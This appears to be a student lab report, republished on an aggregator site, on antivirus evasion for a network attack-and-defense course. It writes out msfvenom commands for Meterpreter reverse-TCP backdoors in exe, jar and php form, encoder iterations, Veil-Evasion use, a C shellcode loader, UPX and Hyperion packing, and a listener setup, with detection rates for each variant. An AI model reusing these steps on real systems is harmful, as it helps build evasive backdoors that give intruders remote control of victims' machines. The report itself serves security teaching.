20232418 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/26 22:50:37/文章来源:https://www.cnblogs.com/huainanxi/p/19167533

20232418 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

本次实验主要围绕免杀原理与实践展开,通过多种技术手段尝试实现恶意代码的免杀效果。首先,使用msfvenom生成不同格式的恶意文件(如exe、jar、php等),并进行多次迭代编码,以混淆代码特征。其次,使用veil-evasion工具生成免杀载荷,其通过模拟正常软件的编译流程和多层次混淆技术提高隐蔽性。此外,还尝试通过C语言结合shellcode编程,将恶意代码嵌入自定义程序中,再利用加壳工具(如UPX压缩壳、Hyperion加密壳)进一步隐藏代码特征。最后,通过组合多种技术(如编码、加壳、自定义加载器)生成恶意文件,并测试其免杀效果。

实验要求

掌握免杀原理与技术

回答问题

(1)杀软是如何检测出恶意代码的?

杀软主要通过特征码检测、启发式分析和行为监控这三种核心方式来识别恶意代码。特征码检测通过比对已知病毒的“指纹”来精准识别已知威胁;启发式分析则通过分析代码的静态特征或模拟运行其部分指令来发现可疑行为,以应对未知病毒;行为监控则在程序运行时实时追踪其操作,一旦发现如修改系统关键设置、加密文件等恶意行为序列便立即拦截。

(2)免杀是做什么?

免杀是指通过一系列技术手段对恶意代码进行加工或伪装,使其能够成功绕过杀毒软件的各种检测机制,从而在目标计算机上隐蔽运行而不被查杀的行为,这种行为常被攻击者用于网络渗透,也被安全人员用于测试防御体系的有效性。

(3)免杀的基本方法有哪些?

免杀的基本方法主要围绕欺骗杀软的检测技术展开,包括修改文件特征码以避开指纹比对、使用加壳或加密技术隐藏恶意代码真容、采用代码混淆增加分析难度,以及通过分离加载技术(如下载器、进程注入)或滥用系统自带的可信工具来间接执行恶意操作,从而规避检测。

2.实验过程

2.1 免杀效果基准测试

2.1.1 查找平台评价免杀效果

使用Virustotal平台软件评价免杀效果,网址为:https://www.virustotal.com/gui/home/upload。如图所示:
image

2.1.2 构建参考基准

使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.16 PORT=2418 -f exe > met20232418.exe,生成一个针对 Windows 系统的恶意后门程序。这个后门程序一旦在目标 Windows 电脑上运行,会主动连接回攻击者控制的机器,从而为攻击者提供一个远程控制通道。
image
使用Virustotal检测该文件的安全性,检测结果为53/72,即用72个杀毒引擎检测,有53个引擎判定该文件含恶意软件。以此作为基准,用于对比后续免杀效果的执行情况。
image

2.2 Msfvenom使用编码器

2.2.1 生成exe文件和编码的exe文件

通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.31.16 LPORT=2418 -f exe > met-encoded20232418.exe,生成一个经过编码、去除特定坏字符的 Windows 后门程序,以提高其绕过防病毒软件(AV)检测的成功率。参数-e用于指定一个编码器(Encoder),x86/shikata_ga_nai是具体的编码器名称,它是Metasploit中一个非常著名和有效的编码器。参数 -b 用于排除坏字符(Bad Characters),'\x00'指定了要排除的坏字符是十六进制的 00,即空字符。
image
image

得到的检出率为43/72,在波动范围内与基准类似。
再利用指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -i 10 -b '\x00' LHOST=192.168.31.16 LPORT=2418 -f exe > met-10encoded20232418.exe生成一个经过10次迭代编码、并去除空字符的Windows后门程序,旨在通过多次变形来显著提高绕过静态防病毒软件检测的能力.。参数 -i 用于指定编码的迭代次数(Iterations)。
image
image

得到的检出率为45/72,也基本没有变化。说明这种文件生成和编码的模板的特征码已经基本都在库中了。

2.2.2生成jar文件和编码的jar文件

利用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=2418 x>metjar20232418.jar生成一个 Java JAR 格式的恶意程序。当用户在目标系统上运行这个 JAR 文件时(通常需要系统安装有 Java 运行环境 - JRE),它会反向连接回攻击者的机器,建立一个Meterpreter控制会话。meterpreter/reverse_tcp表示载荷的核心功能仍然是Meterpreter和反向 TCP 连接。但是,这个Meterpreter是用 Java 语言编写的,因此它只能在 Java 虚拟机(JVM)中运行。
image

image

利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.31.16 LPORT=2418 x> met_encoded10_php_20232418.php生成一个经过10次编码的PHP脚本后门,该脚本在目标服务器上执行后会反向连接回攻击者的机器。-e x86/shikata_ga_nai -i 10表示用 shikata_ga_nai 编码器对Payload进行10次迭代编码,以混淆其内容,绕过简单的静态代码扫描或Web应用防火墙(WAF)。
image

image

得到的检出率均为35/64,说明jar文件更难被识别出来。

2.2.3生成php文件和编码的php文件

利用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=2418 x> metphp_20232418.php生成一个PHP脚本后门。当这个脚本在目标Web服务器上被访问或执行时,它会反向连接回攻击者的机器,建立一个Meterpreter会话。-p php/meterpreter/reverse_tcp是核心载荷,指定生成一个用PHP语言编写的、反向TCP连接的Meterpreter。
image

image

利用指令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.31.16 LPORT=2418 x> met_encoded10_php_20232418.php生成一个经过10次编码的PHP脚本后门,该脚本在目标服务器上执行后会反向连接回攻击者的机器。
image

image

得到的检出率分别为25/62和7/61,说明php文件也难以被识别,且php的编码有不错的免杀效果。

2.3使用veil免杀工具

2.3.1veil免杀工具的下载

使用指令sudo apt -y install veil,用apt下载veil。
image

image

这个过程涉及到很多内容,需要比较长的时间,但除了中间要输入一次密码以外,不需要进行任何手动操作。出现DONE后表明免杀工具成功安装

2.3.2veil使用过程

下载完毕后,在命令行中输入veil,输入use 1进入Evasion模块。
image

输入list查看所有可用的载荷种类。
image

输入use 7,选择上方的第七个c/meterpreter/rev_tcp.py。这是一个由Python脚本驱动的Veil-Evasion载荷,它会生成一个用C语言编写的、Meterpreter类型的、使用反向TCP连接的Windows可执行文件。
image

输入配置信息,包括攻击机器的IP与端口,以及所需要生成文件的文件名配置
set LHOST 192.168.31.16(反弹链接ip,虚拟机的ip)
set LPORT 2418(设置端口)
generate(开始生成)
image

根据提示的路径,在/var/lib/veil/output/compiled目录下找到生成的可执行文件
image

image

基于Veil-Evasion生成的可执行文件检出率为39/72,其免杀效果较基准大大提高。它通过模拟正常软件的编译流程,结合了多层次、动态的混淆与反分析技术,极大提高了恶意文件的生存能力。

2.4使用C + shellcode编程

使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.16 LPORT=2418 -f c生成一段用 C 语言数组表示的、反向连接的 Meterpreter Shellcode。这段代码不能直接运行,而是需要被嵌入到另一个 C 程序中进行编译,或者用于其他形式的漏洞利用。
image

将上述代码复制在粘贴板上,通过指令vi shellcode_c_20232418.c为上述生成的恶意代码增添一个main函数如下
int main() {
int (func)() = (int()())buf;
func();
}
image

image

利用指令i686-w64-mingw32-g++ shellcode_c_20232418.c -o shellcode_c_20232418.exe来使用 mingw-w64 工具链中的 i686-w64-mingw32-g++ 编译器,将名为 shellcode_c_20232418.c 的 C 源代码文件编译为一个名为 shellcode_c_20232418.exe 的 32 位 Windows 可执行程序。这个程序的核心功能是加载并执行之前通过 msfvenom 生成的 Meterpreter Shellcode(反向 TCP 连接)。
image

image

测试这个文件的检出率,发现是42/72,有一定的免杀效果。
image

2.5使用加壳工具

2.5.1使用压缩壳UPX

使用 UPX 工具对之前编译生成的 shellcode_c_20232418.exe 文件进行压缩/加壳处理,并输出一个新的、经过 UPX 打包的可执行文件 shellcode_c_upx_20232418.exe,指令为upx shellcode_c_20232418.exe -o shellcode_c_upx_20232418.exe
image

测试检出率,发现是43/71,反而上升了
image

2.5.2使用加密壳Hyperion

使用指令sudo cp shellcode_c_20232418.exe /usr/share/windows-resources/hyperion/将之前生成的恶意可执行文件 shellcode_c_20232418.exe 复制到Hyperion工具的工作目录中。
image

cd /usr/share/windows-resources/hyperion(切换当前工作目录到Hyperion工具的安装目录)
Sudo wine hyperion.exe -v shellcode_c_20232418.exe shellcode_c_hyp_20232418.exe(使用Hyperion加密器对原始的恶意可执行文件进行高级加密,生成一个新的、经过加密的免杀版本,以绕过防病毒软件的静态检测)
image

image

测试检出率,发现是52/71,反而上升了
image

2.6通过组合应用各种技术实现恶意代码免杀

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.31.16 LPORT=2418 -f c > 20232418_shellcode_multi.c(生成一段高度混淆、无空字符的 Meterpreter Shellcode,并将其格式化为 C 语言数组,以便嵌入到自定义的漏洞利用程序或加载器中)
使用vi,在生成的文件中加入main函数
i686-w64-mingw32-g++ 20232418_shellcode_multi.c -o 20232418_shellcode_multi.exe(使用 mingw-w64 工具链中的 32 位 C++ 编译器编译)
upx 20232418_shellcode_multi.exe -o 20232418_shellcode_multi_2.exe(使用upx加一层压缩壳)
Sudo wine hyperion.exe -v 20232418_shellcode_multi_2.exe 20232418_shellcode_multi_3.exe(将最终生成的可执行文件放入主机,用杀软进行扫描,软件没有发现)
image

对文件20232418_shellcode_multi_3.exe进行检测,发现检出率为50/71,免杀效果不是很好
image

杀毒软件:火绒
image

文件被检测出来
image

2.7用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

在kali虚拟机中输入msfconsole打开msf的控制台,输入以下这些信息。
use exploit/multi/handler(设置监听处理器)
set payload windows/meterpreter/reverse_tcp(设置载荷类型)
set LHOST 192.168.31.197(设置为kali的ip地址)
set LPORT 2418(设置端口)
exploit(启动监听服务)
在杀毒软件开启的情况下,在主机上运行生成的可执行文件,文件无法运行,回连失败。
image

3.问题及解决方案

  • 问题1:下载veil的过程中会出现许多Y/S/N。
  • 问题1解决方案:可能是虚拟机内存在同样名称文件。一直Y覆盖掉原文件即可

4.学习感悟、思考等

通过本次实验,我深入了解了恶意代码免杀的基本原理和常用技术,包括特征码修改、代码混淆、加壳加密等。实验过程中,我体会到免杀技术是一把双刃剑:攻击者可能利用其绕过安全检测,而防御者则需要通过研究免杀技术来提升防护能力。尽管实验中尝试了多种方法,但现代杀软的综合检测机制(如行为监控、云查杀)仍能有效识别大部分恶意代码。这让我意识到,单纯依赖静态免杀技术已不足以应对日益智能的安全防护体系,未来需要结合动态行为隐藏、可信工具滥用等更高级的手段。此外,实验中也锻炼了问题解决能力,例如在安装veil工具时通过覆盖文件解决了依赖冲突。总体而言,本次实验不仅提升了我的技术实践能力,也加深了我对网络攻防对抗本质的理解。

参考资料

  • 《Java程序设计与数据结构教程(第二版)》
  • 《Java程序设计与数据结构教程(第二版)》学习指导
  • 博客园https://www.cnblogs.com/20222408msy/p/18505326

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/947123.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ADB命令手册 - Android Debug Bridge命令参考

ADB命令手册 - Android Debug Bridge命令参考 本手册包含ADB的常用命令、示例和拓展知识,帮助开发者和测试人员更好地使用ADB工具进行Android设备的调试和管理。 第一部分:ADB基础命令 adb version描述:显示ADB版本…

回忆录:梦开始的往事

回忆录:梦开始的往事 目录初入初入OI之门、 冲向算法 小奥之战 荣班 丘班失利 懵懂初一上(上)密码说明 由于文章内容涉及学校机密,不便直接公开发布,请希望阅读者洛谷私信hsr_ray或者添加微信hsrray2011,经作者审核…

大学生为啥一定要认真听讲

在我的大学生活中,上课分神似乎已经成为一种常态,我能清楚的认识到大学与高中学习态度的区别。在高中,我会因为老师讲课的进度快慢或者因为听课效果而选择去独立学习,从最后的结果来看,效果是有的。但是在大学,除…

以听筑基,以行践知:解锁学习新范式的思考

读罢三篇关于学习方法的文章,我对“如何高效学习”有了颠覆性认知。从前总觉得上课听不听无所谓,课后靠刷题就能补,直到看完Scalers关于“大学生上课必须认真听讲”的论述,才惊觉自己浪费了最宝贵的学习资源。老师…

Day4表单-imput标签

表单的作用是为了在网页上收集用户信息,一般在登录页面,注册页面和搜索区域应用 inpute标签的基本使用<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8">…

学好专业,养好体魄——我的学习感悟

不知不觉,已经来到了大二,读完老师分享的三篇文章,我最深的体悟是:专业学习没有捷径,唯有扎实掌握课堂上的基础知识,才能为后续的学习与实践筑牢根基。 数据科学与大数据技术专业知识体系繁杂,大二正是夯实基础…

ti2

JDK、JRE、JVM,以及三者的关系 1)JDK 指的是 java 开发工具包,它包括编译器、JAVA核心类库、JVM、开发辅助工具(jps、jinfo、jmap、jconsole、jvisualvm) 2)JRE 指的是 JAVA 程序运行环境,主要包括 JAVA 核心类…

单像素demo初探

入门仿真(零硬件)single_pixel_demo(Matlab + Python) 用 Hadamard 模式做采样,含加噪声与重建的完整最小示例;最适合第一天跑通。 GitHubsingle-pixel-imaging(教育向示例) 讲清单像素成像基本原理与流程,代…

昨天 今天 明天

祝你生日快乐今天的你超乎往常的坦率嘛 虽然今天的也是歌名一般这种乐色小文章开头是要介绍一下我的近况的 但是我觉得不介绍也没关系 我还是不能理解大学 就像我从来没有真正理解过高中 不管它处于进行时还是完成时 都…

刻意练习的重要性

「做中学(Learning By Doing)」之乒乓球刻意训练一年总结 https://www.cnblogs.com/rocedu/p/5826362.html 读这篇文章和《刻意练习》有感,刻意练习对我们学习和提升能力非常重要,这篇文章中说,自己打了二十多年的…

深入解析:解构IDP未来前景:去中心化金融的“阳谋”与以人为本的生态蓝图(解读)

深入解析:解构IDP未来前景:去中心化金融的“阳谋”与以人为本的生态蓝图(解读)pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; fon…

加密算法相关

RSA 加密算法的流程1️⃣ 密钥生成 你的步骤是标准的 RSA:选大质数 (p, q)通常 1024 位以上(现代安全要求 2048 位以上) 确保无法被高效分解计算模数 $ (n = p \times q)$用于公钥和私钥 明文和密文都需小于 (n)计算…

利用 kubeadm 快速部署 kubernetes(k8s) 集群

kubernetes(k8s)集群部署环境:ubuntu22.04,kubeadm v1.28.15节点准备工作(全部) 1. 关闭防火墙 # rootsystemctl stop firewalld systemctl disable firewalldsystemctl stop ufw systemctl disable ufw2. 关闭安全…

第七周物理实验:分光仪调节及三棱镜折射率测量

分光仪调节及三棱镜折射率测量 时间: 实验目的 掌握分光仪调节和使用 测量三棱镜顶角 测量最小偏向角&玻璃折射率 实验仪器 JJY型分光仪、双平面反射镜、玻璃三棱镜、汞灯 实验原理 分光仪主要组成部分:自由准直…

联发科技 Genio 物联网高效的平台,引领 IoT 智能新时代

联发科技 Genio 物联网高效的平台,引领 IoT 智能新时代pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&…

20232324 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232324 2025-2026-1 《网络与系统攻防技术》实验三实验报告1.实验内容 1.1实验目标理解恶意代码免杀原理,掌握 msf 编码器、Veil-Evasion 工具、C+Shellcode 编程等免杀技术,生成能规避杀毒软件的恶意程序,并通过…

密码学学习

对称加密: 加密和解密使用的是同一把钥匙 对称加密:分成流加密和块加密 流加密:例如123456,先加密1,再加密2 块加密:相当于分组加密 1234 5678 主要是DES和AES(高级加密)数字签名:用发送方的私钥对该哈希值加密,…

电脑文件系统整理概要

文件夹分类原则: 57原则:同层最多7个文件夹、最多5层 应用处理原则: 应用安装时按照优先安装D盘(如果磁盘未分区则忽略),无法设置时再安装C盘 应用以创建快捷方式后进行管理 应用应分为以下几类:常用,主选,备…

Boost.asio中的协程队列库

目录简介简单使用 简介 本文主要记录一下自己在使用Boost.asio时发现的一个协程队列库boost::asio::experimental::concurrent_channel。发现的路径也很搞笑,我当时需要一个队列库,因为使用的asio,所以想让AI帮忙使…

为自己读书

学习的目的不是为了获取更高的学位,也不仅仅是为了获取知识,而是为了能在生活中能够运用知识,方便生活。举个简单的例子,84消毒水不能和洁厕灵混在一起使用,容易产生氯气导致中毒。所以,学习不是为了他人,而是为…